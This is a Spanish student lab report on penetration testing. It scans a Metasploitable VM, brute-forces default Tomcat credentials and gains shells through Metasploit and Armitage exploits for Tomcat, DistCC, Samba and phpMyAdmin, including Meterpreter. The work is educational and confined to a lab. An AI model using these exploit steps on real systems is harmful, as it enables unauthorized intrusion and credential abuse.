Sei sulla pagina 1di 21

PENT TESTING

ADMINISTRACIN DE SISTEMAS INFORMTICOS EN RED.

RESUMEN
Se llevar a cabo una prueba de intrusin o ataque informtico con el fin de conocer su
procedimiento, ejecucin y su respectiva seguridad.

ABSTRACT
It will conduct a penetration test or hacking in order to know their procedure, execution and
their respective security.
[optional, of course]

PALABRAS CLAVE
Palabra_1 : breve explicacin
Palabra_2 : breve explicacin

CONTENIDO
Introduccin .................................................................................................................... 1
Objetivos ......................................................................................................................... 5
Estado del arte................................................................................................................ 9
Caso de estudio ............................................................................................................ 13
Desarrollo del proyecto ................................................................................................. 17
Viabilidad tecno-econmica .......................................................................................... 21
Conclusiones ................................................................................................................ 25
Lneas abiertas de investigacin .................................................................................. 29
Bibliografa y referencias .............................................................................................. 33
Bibliografa ................................................................................................................ 35
Referencias ............................................................................................................... 36
ndices de imgenes y tablas ....................................................................................... 37
ndice de imgenes ................................................................................................... 39
ndice de tablas ......................................................................................................... 40

INTRODUCCIN
Una auditora consiste en el estudio y anlisis de un sistema informtico con el fin de
conocer las vulnerabilidades del mismo.
S este estudio se realiza de manera externa y sin ningn dato sobre el mismo se conoce
como test de caja negra, en cambio los que se hacen de manera interna se denominan
test de caja blanca.
Cuando se quiere estudiar la seguridad de los sistemas que son accesibles desde Internet
(servidores, routers, firewalls...) frente a un ataque, la mejor forma de estudiarlo es
sometindose a un ataque controlado.
Para ello es necesario conocer lo que es un test de intrusin, simulacin de ataque
informtico para determinar el nivel de proteccin y se puede realizar de dos maneras
nombradas anteriormente; test de caja negra y test de caja blanca.
El concepto principal de un test de caja negra es simular los mtodos de ataque de un
hacker con sus mismos recursos. El auditor slo dispone de informacin pblica sobre el
objetivo, y a travs de esta intenta identificar los agujeros de seguridad que puedan dejar
al descubierto informacin sensible o las operaciones del sistema. Con esto tambin se
puede simular ataques que se dedican a obtener algn acceso inicial al sistema.
Bueno, lo que vamos a realizar, es concretamente, un Pentest o tambien conocido como
Pentesting. Este tipo de tcnica, ya nombrada y explicada en el anterior prrafo, se puede
complementar con una herramienta llamada metasploit, la cual va a ser nuestra base en
nuestro proyecto.
Un metasploit es una herramienta imprescindible para cualquier informtico que trabaje
con test de penetracin. Metasploit, es un programa que recopila una base de datos de
exploits autoactualizable que permite aprovechar las posibles vulnerabilidades que tengan
los equipos atacados. Junto con NMap, se convierte en una herramienta increble.
Adems, existe una interfaz grfica disponible para los que odien la CLI (Command Line
Interface), llamada Armitage, de la que hablar en uno de los anexos del proyecto.

OBJETIVOS
Los objetivos de nuestro proyecto son fundamentalmente el conocimiento de fallos o
vulnerabilidades con el fin de mantener su seguridad.
Tambin nos ser til para conocer los diferente tipos de ataques informticos y
mecanismos de defensa informtica. Tenemos que tener en cuenta que todos los ataques
informticos no todos tienen un fin de carcter negativo como nosotros pensamos, de
hecho, los ataques que vamos a realizar son con el fin de ensear a corregir
vulnerabilidades y para ello necesitamos explotarlas y conocerlas para as conseguir
arreglarlas.
Estos objetivos nos darn como resultado de una necesidad de conseguir ms seguridad
y mucha fiabilidad dentro de una empresa o particular ya que, la mayora de casos de
Pent Test se da en empresas.
Por otra parte, el uso de herramientas empleadas en el proyecto tambin ser una gran
fuente de informacin para nuestro proyecto, consiguiendo as ampliar nuestros
conceptos en el campo de los ataques informticos.

ESTADO DEL ARTE


Existen muchas empaquetaciones sobre estas pruebas, por ejemplo, Kali Linux, que es
una distribucin de Linux avanzada para pruebas de penetracin y auditoras de
seguridad. Por otro lado tambin tenemos Backtrack, que tambin es una distribucin
Linux basada en Ubuntu, la cual ya incluye por defecto una gran cantidad de herramientas
para hacer testing de seguridad informtica en general.
Podemos orientarlo con auditorias wifi, como es el caso de Wifislax pero no de manera
completamente directa, dado que nos interesan principalmente equipos.

CASO DE ESTUDIO
Para poner en marcha nuestro ataque de penetracin o pentesting, vamos a utilizar dos
mquinas virtuales interconectadas, las cuales vamos a configurar de la manera
apropiada para que el ataque pueda llevarse a cabo de manera exitosa, todo con
VirtualBox. Las dos con sistema operativo Linux, tanto la ATACANTE como la
METASPLOIT.
La mquina ATACANTE es un sistema Debian con el gestor de ventanas LXDE y una
serie de herramientas de seguridad instaladas:
o
o
o
o

Escner de puertos NMAP y su interfaz grfica ZENMAP.


Escner de vulnerabilidades NESSUS.
Framework de Pen Testing Metasploit.
Escner de vulnerabilidades Web W3AF (Web Application Attack and Audit
Framework)

La mquina METASPLOIT es un sistema Ubuntu Server publicado por los


desarrolladores de Metasploit como entorno de pruebas y aprendizaje para tests de
intrusin. Cuenta con una coleccin de servicios vulnerables sobre los que experimentar.
Estas dos maquinas comparten una memoria SWAP, adems disponen de un script de
inicio que aplica una configuracin total; red, host, etc.

DESARROLLO DEL PROYECTO


Lo primero que vamos a hacer ser una enumeracin de equipos y servicios y una
deteccin de vulnerabilidades con. Para ello utilizaremos una herramienta para realizar la
enumeracin se trata de NMAP es un escner de puertos con capacidad de identificacin
de servicios y sistemas operativos, tambin posee funcionalidades de evasin y
ocultacin del escaneo, concretamente haremos un escaneo de red:
nmap -sP 192.168.100.0/24
Nos mostrara que hay dos equipos en la red, la mquina ATACANTE (192.168.100.111) y
la METASPLOIT (192.168.100.222)
El siguiente escaneo que haremos ser de servicios y se har directamente sobre la
mquina METASPLOIT:
nmap -oX -O -sV 192.168.100.222

Nos dar una lista de servicios: apache, samba, mysql, postgresql, tomcat y ftp

El tercer escaneo ya ser de vulnerabilidades y lo haremos con nuestro herramienta web


NESSUS. Para utilizarla solo necesitamos abrir esta pgina en el navegador
localhost:8834.
Para realizar un escaneo nos dirigimos a Scans > Add despus en Policy seleccionamos
Metasploitable y por ultimo en Scan Targets escribimos la ip de la maquina METASPLOIT
(192.0168.100.222)

Lo segundo que vamos a hacer ser explotar las vulnerabilidades atraves del propio
Metasploit Framework, toda una plataforma pensada para el desarrollo de herramientas
de seguridad. Se utiliza, principalmente, para la realizacin de tests de intrusin en redes
o en servidores.
Suponiendo que se ha encontrado informacin de un servicio, es posible determinar a
partir de sta, si es vulnerable. Utilizando la consola, se realiza una bsqueda de un
exploit en particular para ese servicio y luego se llevar a cabo la explotacin.
Una buena opcin a la hora de localizar equipos y redes es utilizar Armitage.
Armitage es una interface grfica para Metasploit, que facilita enormemente determinadas
tareas como la sugerencia de exploits, descubrimiento de equipos, la visualizacin de
ficheros, post-explotacin , etc. por lo que resulta realmente til no solo para visualizar de
forma grfica las sesiones y los equipos involucrados en la intrusin, sino tambin para
desempear gran multitud de tareas sin necesidad de introducir mltiples comandos
desde la consola de Metasploit.
sta interfaz proporciona una gran ayuda para entender la topologa de red
existente y cuando se utilizan varios equipos para saltar de una red a otra.
Ahora nos dirigimos al Armitage y cargamos toda la informacin del escaneo de NMAP:
msf > db_import /root/nmap.xml
Para ver la informacin:
msf > hosts
msf > services
msf > vulns
Tambin podemos buscar mdulos a utilizar sobre los servicios identificados en la
mquina METASPLOIT
msf > search openssh

Acto seguido procederemos a la explotacin del servicio Tomcat


Seleccionamos el exploit y vemos su descripcin y sus opciones:
msf > use exploit/multi/http/tomcat_mgr_deploy

msf

exploit(tomcat_mgr_deploy) > info

Para realizar la explotacin necesitamos las credenciales. Estas se pueden conseguir a


travs de fuerza bruta con diccionarios.
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf

auxiliary(tomcat_mgr_login) > info

Tambin podemos modificarlos en estos archivos:


/opt/metasploit-4.1.4/msf3/data/wordlists/tomcat_mgr_default_users.txt
/opt/metasploit-4.1.4/msf3/data/wordlists/tomcat_mgr_default_users.txt

Pero nosotros seguiremos utilizando comandos:


msf

auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.100.222

RHOSTS => 192.168.100.222


msf

auxiliary(tomcat_mgr_login) > run

Parmetros del comando: Mquina objetivo (RHOSTS), el puerto (RPORT), la


URI de la aplicacin de gestin de Tomcat (URI) y los ficheros con los
nombres de usuario y las contraseas (USER_FILE, PASS_FILE).

Una vez realizado este proceso nos dir que podemos acceder a la web de administracin
de tomcat con el usuario tomcat y la contrasea tomcat
Sacadas las credenciales y la informacin necesaria sobre el servicios, solo nos quedar
la configuracin y el uso del mismo.
msf

> use exploit/multi/http/tomcat_mgr_deploy

msf

exploit(tomcat_mgr_deploy) > info

Parmetros del comando: Mquina objetivo (RHOSTS), el puerto (RPORT), el


path a la aplicacin de gestin de Tomcat (PATH) y el nombre de usuario
(USERNAME) y la contrasea (PASSWORD).

msf

exploit(tomcat_mgr_deploy) > set RHOST 192.168.100.222

msf

exploit(tomcat_mgr_deploy) > set RPORT 8080

msf

exploit(tomcat_mgr_deploy) > set USERNAME tomcat

msf

exploit(tomcat_mgr_deploy) > set PASSWORD tomcat

El funcionamiento del exploit crear un fichero .WAR con una aplicacin web de Java
''maliciosa'' cuya nica misin ser la de ejecutar el PAYLOAD* que queremos dentro de
la mquina vctima.
*payload : Un payload es un programa que acompaa al exploit y nos permite realizar mas cosas

Utilizaremos un intrprete de comandos en la vctima (/bin/sh en este caso) y redirige su


E/S a un puerto TCP de dicha vctima. El exploit abre una sesin hacia ese puerto de la
vctima, obteniendo una shell en la maquina victima accesible desde el atacante.

msf

exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/bind_tcp

msf

exploit(tomcat_mgr_deploy) > show options

Parmetros del comando: Mquina vctima (RHOST) y el puerto de escucha


(LPORT)

msf

exploit(tomcat_mgr_deploy) > set LPORT 11

msf

exploit(tomcat_mgr_deploy) > show options

Ejecucin del exploit:

Verificacin de que se ha abierto una shell en la maquina victima:

Podemos comprobar que la conexin est efectivamente establecida, lanzando el


comando netstat -tn en ambos equipos.

Armitage ofrece la funcionalidad de cruzar la informacin sobre servicios de un hosts con


la informacin de los exploits para vincular a una mquina una lista de con los ataques
potenciales.

Seleccionar Attacks -> Find Attacks


o Armitage comprueba qu exploits son compatibles con cada uno de los
servicios vinculados al host seleccionado
Una vez completada la vinculacin se aade al icono del hosts un submen
contextual Attacks con la lista de posibles ataques.

Ahora explotaremos el servicio DistCC (servicio que coordina la compilacin distribuida de


programas):

Si el ataque tuvo xito se modifica el icono del host y se aadir un un submen


contextual Shell #
Desde este submen se podr acceder a una seccin interactiva (Interact), ejecutar
mdulos de POST EXPLOTACIN.

Accedemos a la Shell # para realizar las pruebas desde Armitage y creamos


una carpeta

Despus nos vamos a la maquina vctima y comprobamos que si hemos creado la carpeta

Como vemos en la siguiente imagen nos verifica que esta la consola con el servicio de
Perl que ejecuta el script del exploit DistCC

Nuestro siguiente objetivo ser explotar SAMBA (Servidor de Archivos):

Comprobacin:

Explotar phpMyAdmin y uso de Meterpreter

Attacks -> webapp -> phpmyadmin_config

Lanzaremos de nuevo el exploit con un PAYLOAD ms sofisticado. Usaremos un


PAYLOAD (payload/php/meterpreter/bind_tcp) que carga la herramienta Meterpreter en la
vctima (en este caso el cdigo inyectado por el PAYLOAD es PHP)

Meterpreter es un PAYLOAD con funcionalidades adicionales pensadas para


simplificar las tareas de explotacin, post explotacin y escalada de privilegios.
Inicialmente fue desarrollado para vctimas MS Windows, aunque existen variantes
para otras arquitecturas, aunque no con todas las funcionalidades.

Sobre la pestaa exploit de la ''consola`` de Armitage vinculada al ataque con


exploit/unix/webapp/phpmyadmin_config, cambiar el PAYLOAD y lanzar de nuevo el
exploit manualmente.
msf exploit(phpmyadmin_config) > set PAYLOAD php/meterpreter/bind_tcp
msf exploit(phpmyadmin_config) > show options
msf exploit(phpmyadmin_config) > exploit
Se abre un men contextual nuevo sobre el icono del host atacado, etiquetado como
Meterpreter # con las opciones concretas de este PAYLOAD.
En la opcin Interact se abre un shell de Meterpreter con un conjunto de comandos
especficos para tareas de post explotacin
En la opcin Explore incluye un navegador de archivos grfico, un visor de procesos y un
herramienta de captura de pantalla
En la opcin Pivoting se pueden configurar los parmetros necesarios para que el equipo
comprometido funcione como ''pivote``, actando como punto intermedio en el anlisis y
ataque con Metasploit a otras mquinas accesibles desde dicha vctima.
Abrir un Shell de Meterpreter (seleccionando Meterpreter -> Interact -> Meterpreter Shell)
help se muestran los comandos disponibles:
load -> carga mdulos de meterpreter con funcionalidades adicionales: load -l)
run -> ejecuta mdulos de post explotacin o scripts meterpreter
ipconfig, route, portfwd -> control de la configuracin de red de la vctima

VIABILIDAD TECNO-ECONMICA
En cuanto a los gastos de nuestro proyecto, en principio no habra ninguno, dado que las
herramientas son todas con Linux, es decir, gratuitas.
Aunque utilicemos los sistemas Linux podamos realizar algunas tambin con Windows.
Existe una herramienta en Windows para hacer Pentesting, Pentest Box que es una
distribucin que se puede ejecutar a travs del smbolo del sistema.

CONCLUSIONES
En este caso se obtuvo acceso a un servidor a travs de un servicio Tomcat vulnerable.
Mediante la identificacin de la versin del servicio se pudo encontrar el exploit adecuado.
De la misma manera, se inyect un payload capaz de disponer una shell de comandos a
disposicin del atacante.
Si bien este es un ejemplo especfico, donde el acceso se logr a travs de una
vulnerabilidad conocida por una versin antigua del software Tomcat, tambin es posible
que esto ocurra en un escenario real. Asimismo, los ataques reales pueden ser ms
complejos o combinados. Sin embargo, esto es un buen comienzo para tener nocin
sobre cmo se realizan ataques con Metasploit.
Finalmente, vale la pena destacar que no existe una herramienta capaz de hacer una
prueba de penetracin en condiciones. El pentester siempre debe recurrir al uso de su
conocimiento y de sus cualidades que pondrn a su disposicin una gama de
herramientas que le permitirn ejecutar una prueba precisa y contundente sobre el
sistema para obtener resultados eficientes.

LNEAS ABIERTAS DE INVESTIGACIN


Nuestro proyecto deja muchas puertas abiertas al conocimiento, sobre todo a los
mecanismos que se puedan llegar a conocer mediante pequeos procedimiento utilizados
en nuestro proyecto.
Las posibilidades de seguir ampliando nuestro conocimiento estn en manos de los
futuros Pen Testers, ya que todo lo que hemos aprendido ha de ser perfeccionado.
Hoy en da, los ataques informticos estn creciendo a muy alto nivel con respecto a la
ingeniera social que los motiva a seguir investigando sobre los mismos.
Sin duda conocer bien estos ataques le servir como premisa a muchos de los
informticos dedicados a este tipo de mecanismos, tanto en lo tcnico como en lo real.
Esta brecha que dejamos en este tema nunca ser cerrada la informtica puede abrir
muchos caminos en cuanto a la seguridad.

BIBLIOGRAFA Y REFERENCIAS
BIBLIOGRAFA
Autor 1, Autor 2,
Ttulo del libro
Editorial
Lugar y ao
ISBN : xxxxxxxxxxxx
Autor 1, Autor 2,
Ttulo del libro
Editorial
Lugar y ao
ISBN : xxxxxxxxxxxx

REFERENCIAS
http://www.metasploit.com
https://www.offensive-security.com/

Metasploit
http://www.pentest-standard.org

PenTesting
http://www.fastandeasyhacking.com/manual#multi

Armitage

NDICES DE IMGENES Y TABLAS

NDICE DE IMGENES

NDICE DE TABLAS

Potrebbero piacerti anche